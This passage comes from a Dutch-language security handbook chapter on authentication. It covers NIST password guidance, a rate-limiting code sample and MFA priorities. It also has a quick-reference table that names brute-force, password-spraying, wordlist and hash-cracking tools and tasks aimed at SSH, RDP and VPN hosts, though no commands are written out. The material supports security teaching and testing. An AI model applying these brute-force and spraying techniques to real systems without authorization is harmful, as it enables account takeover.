Het NIST-advies (SP 800-63B) is verhelderend:

Ja, je leest dat goed. NIST raadt af om complexiteitsregels en periodieke wijzigingen te verplichten. De reden: deze regels leiden tot voorspelbare patronen (seizoen + jaar + uitroepteken) die zwakker zijn dan een zelfgekozen, lang wachtwoord.

Rate limiting en lockout

# Voorbeeld: progressieve vertraging
DELAY_MAP = {
    3: 5,      # Na 3 pogingen: 5 seconden wachten
    5: 30,     # Na 5 pogingen: 30 seconden
    10: 300,   # Na 10 pogingen: 5 minuten
    20: 3600,  # Na 20 pogingen: 1 uur
}

Implementeer rate limiting op meerdere niveaus: - Per account - Per IP-adres - Per sessie - Globaal (als noodrem)

Multi-factor authenticatie

MFA is de enige verdediging die standhoudt als het wachtwoord is gecompromitteerd. Prioriteit:

  1. Hardware keys (YubiKey, FIDO2): beste optie, phishing-resistent
  2. Authenticator apps (TOTP): goed, maar phishable
  3. SMS/e-mail codes: beter dan niets, maar kwetsbaar voor SIM-swap/account-takeover

Laten we hier even opmerken dat we collectief al meer dan dertig jaar weten hoe wachtwoorden veilig moeten worden opgeslagen. Bcrypt bestaat sinds 1999. Dat is meer dan een kwart eeuw. In die tijd hebben we de iPhone uitgevonden, auto’s die zelf rijden, en een robot op Mars gezet. Maar wachtwoorden hashen met bcrypt – dat is blijkbaar een brug te ver voor sommige ontwikkelaars.

En dan het wachtwoordbeleid. We dwingen mensen om elke negentig dagen hun wachtwoord te wijzigen, wat resulteert in “Zomer2026!”, en vervolgens zijn we verbaasd dat iemand dat raadt. Dat is alsof je iemand dwingt om elke drie maanden een nieuw slot op zijn voordeur te zetten, maar alleen sloten verkoopt met drie mogelijke combinaties.

Het alternatief – een lang, uniek wachtwoord dat je nooit hoeft te wijzigen, opgeslagen in een password manager – is te simpel. Te elegant. Waar blijft de complexiteit? Waar blijft het lijden? Want als beveiliging niet pijnlijk is, dan voelt het niet alsof het werkt. En dat, dames en heren, is waarom we nog steeds “Welkom01!” als wachtwoord tegenkomen in Fortune 500-bedrijven.


12.11 IB Quick Reference

Topic IB Command / Taak Beschrijving
Brute force tools passwd_brute Medusa, Hydra, Crowbar, Ncrack commando’s voor SSH, RDP, HTTP, SMB, FTP
Password spraying passwd_spray AD spray protocol: lockout policy, user enum, spray met wachttijd
Woordlijst generatie passwd_wordlist CeWL, Crunch, John/Hashcat rules voor maatwerk woordlijsten
Wachtwoorden genereren Task: gen_passwords IB Task Runner taak: genereert variaties naar meuk/wordlists/passwords.txt
SSH brute force Task: brute_ssh Crowbar SSH brute force op hosts uit nmap scan
RDP brute force Task: brute_rdp Crowbar RDP brute force op hosts uit nmap scan
VPN brute force Task: brute_vpn Crowbar VPN brute force op hosts uit nmap scan
Weak SSH keys Task: weak_ssh Test Debian weak SSH keys (CVE-2008-0166)
Hash cracking passwd_brute John the Ripper en Hashcat commando’s voor offline cracking

Samenvatting

Authenticatie is het fundament van elk beveiligingssysteem. Brute force is de meest directe aanval erop – inelegant maar effectief, vooral wanneer gebruikers voorspelbare wachtwoorden kiezen. Password spraying exploiteert het feit dat in elke grote organisatie iemand het voor de hand liggende wachtwoord heeft gekozen. En woordlijsten, op maat gemaakt met website-scraping en mutatieregels, zijn het verschil tussen uren tevergeefs draaien en een hit binnen minuten.

Sessiemanagement – session tokens, cookies, JWTs – is het mechanisme waarmee we authenticatie onthouden over stateless HTTP. Zwakke tokens, ontbrekende cookie-flags, en kwetsbare JWT-implementaties ondermijnen elk sterk wachtwoordbeleid.

De verdediging is niet revolutionair: bcrypt of Argon2 voor wachtwoordopslag, MFA voor een tweede factor, rate limiting tegen brute force, en security headers als eerste verdedigingslinie. Het zijn dingen die we al jaren weten. De vraag is niet of we weten hoe we authenticatie moeten beveiligen. De vraag is waarom we het nog steeds niet doen.

In het volgende hoofdstuk brengen we alles samen: findings documenteren, CVSS 4.0 scoren, en rapporten genereren die ervoor zorgen dat al deze kwetsbaarheden daadwerkelijk worden opgelost.